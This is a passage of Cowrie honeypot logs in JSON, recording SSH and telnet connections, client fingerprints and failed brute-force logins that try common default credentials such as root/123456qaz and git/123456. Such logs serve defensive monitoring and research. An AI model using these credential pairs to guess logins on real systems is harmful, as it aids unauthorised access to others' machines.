sh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:25.821635Z","src_ip":"43.153.36.83","session":"582f06f607b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyber","password":"cyber","message":"login attempt [cyber/cyber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:26.001134Z","src_ip":"45.153.34.97","session":"9e51b31ba5c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qaz","message":"login attempt [root/123456qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:26.127437Z","src_ip":"43.153.36.83","session":"582f06f607b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:27.090114Z","src_ip":"45.153.34.97","session":"9e51b31ba5c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:27.198260Z","src_ip":"43.153.36.83","session":"582f06f607b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":43102,"dst_ip":"10.17.0.5","dst_port":22,"session":"e26af3cf02b5","protocol":"ssh","message":"New connection: 45.153.34.97:43102 (10.17.0.5:22) [session: e26af3cf02b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:29.813547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:29.818225Z","src_ip":"45.153.34.97","session":"e26af3cf02b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:29.903142Z","src_ip":"45.153.34.97","session":"e26af3cf02b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"p@ssw0rd","message":"login attempt [zabbix/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:30.296749Z","src_ip":"45.153.34.97","session":"e26af3cf02b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.002644062042236,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:31.214660Z","src_ip":"152.42.224.71","session":"fdd82513ffa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:31.392589Z","src_ip":"45.153.34.97","session":"e26af3cf02b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":59712,"dst_ip":"10.17.0.5","dst_port":22,"session":"734f83d7192c","protocol":"ssh","message":"New connection: 45.153.34.97:59712 (10.17.0.5:22) [session: 734f83d7192c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:34.180937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:34.210867Z","src_ip":"45.153.34.97","session":"734f83d7192c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:34.674360Z","src_ip":"45.153.34.97","session":"734f83d7192c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"s","password":"s","message":"login attempt [s/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:35.295113Z","src_ip":"45.153.34.97","session":"734f83d7192c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:36.389897Z","src_ip":"45.153.34.97","session":"734f83d7192c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39732,"dst_ip":"10.17.0.5","dst_port":23,"session":"816c42e40b7f","protocol":"telnet","message":"New connection: 152.42.224.71:39732 (10.17.0.5:23) [session: 816c42e40b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:37.710464Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":59728,"dst_ip":"10.17.0.5","dst_port":22,"session":"675d71bbb7c9","protocol":"ssh","message":"New connection: 45.153.34.97:59728 (10.17.0.5:22) [session: 675d71bbb7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:38.392953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:38.397676Z","src_ip":"45.153.34.97","session":"675d71bbb7c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:38.485605Z","src_ip":"45.153.34.97","session":"675d71bbb7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:38.780834Z","src_ip":"45.153.34.97","session":"675d71bbb7c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:40.182493Z","src_ip":"45.153.34.97","session":"675d71bbb7c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":13052,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c004983a8a0","protocol":"ssh","message":"New connection: 45.153.34.97:13052 (10.17.0.5:22) [session: 9c004983a8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:42.505677Z"}
{"eventid":"cowrie.session.closed","duration":36.53477668762207,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:42.577313Z","src_ip":"152.42.224.71","session":"00b77f382d29","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:42.631019Z","src_ip":"45.153.34.97","session":"9c004983a8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:42.634766Z","src_ip":"45.153.34.97","session":"9c004983a8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:43.773306Z","src_ip":"45.153.34.97","session":"9c004983a8a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39748,"dst_ip":"10.17.0.5","dst_port":23,"session":"29beb3f2b6f0","protocol":"telnet","message":"New connection: 152.42.224.71:39748 (10.17.0.5:23) [session: 29beb3f2b6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:44.062636Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:44.885233Z","src_ip":"45.153.34.97","session":"9c004983a8a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":13072,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a4ebf97edd4","protocol":"ssh","message":"New connection: 45.153.34.97:13072 (10.17.0.5:22) [session: 4a4ebf97edd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:46.719694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:46.724414Z","src_ip":"45.153.34.97","session":"4a4ebf97edd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:46.805942Z","src_ip":"45.153.34.97","session":"4a4ebf97edd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:47.195716Z","src_ip":"45.153.34.97","session":"4a4ebf97edd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:48.289917Z","src_ip":"45.153.34.97","session":"4a4ebf97edd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33422,"dst_ip":"10.17.0.5","dst_port":23,"session":"b831f0eed9b3","protocol":"telnet","message":"New connection: 152.42.224.71:33422 (10.17.0.5:23) [session: b831f0eed9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:48.465902Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":21930,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2942654dd09","protocol":"ssh","message":"New connection: 45.153.34.97:21930 (10.17.0.5:22) [session: a2942654dd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:51.171748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:51.181509Z","src_ip":"45.153.34.97","session":"a2942654dd09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33426,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5cd73979f9d","protocol":"telnet","message":"New connection: 152.42.224.71:33426 (10.17.0.5:23) [session: a5cd73979f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:51.191686Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:51.276472Z","src_ip":"45.153.34.97","session":"a2942654dd09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:51.669982Z","src_ip":"45.153.34.97","session":"a2942654dd09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:52.819749Z","src_ip":"45.153.34.97","session":"a2942654dd09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":46792,"dst_ip":"10.17.0.5","dst_port":22,"session":"e777bfe4f5c9","protocol":"ssh","message":"New connection: 43.135.177.217:46792 (10.17.0.5:22) [session: e777bfe4f5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:53.339601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:53.346999Z","src_ip":"43.135.177.217","session":"e777bfe4f5c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:53.414730Z","src_ip":"43.135.177.217","session":"e777bfe4f5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4g5","message":"login attempt [root/a1s2d3f4g5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:53.718646Z","src_ip":"43.135.177.217","session":"e777bfe4f5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:54.791138Z","src_ip":"43.135.177.217","session":"e777bfe4f5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":21932,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fbbf5c16ee7","protocol":"ssh","message":"New connection: 45.153.34.97:21932 (10.17.0.5:22) [session: 0fbbf5c16ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:55.184318Z"}
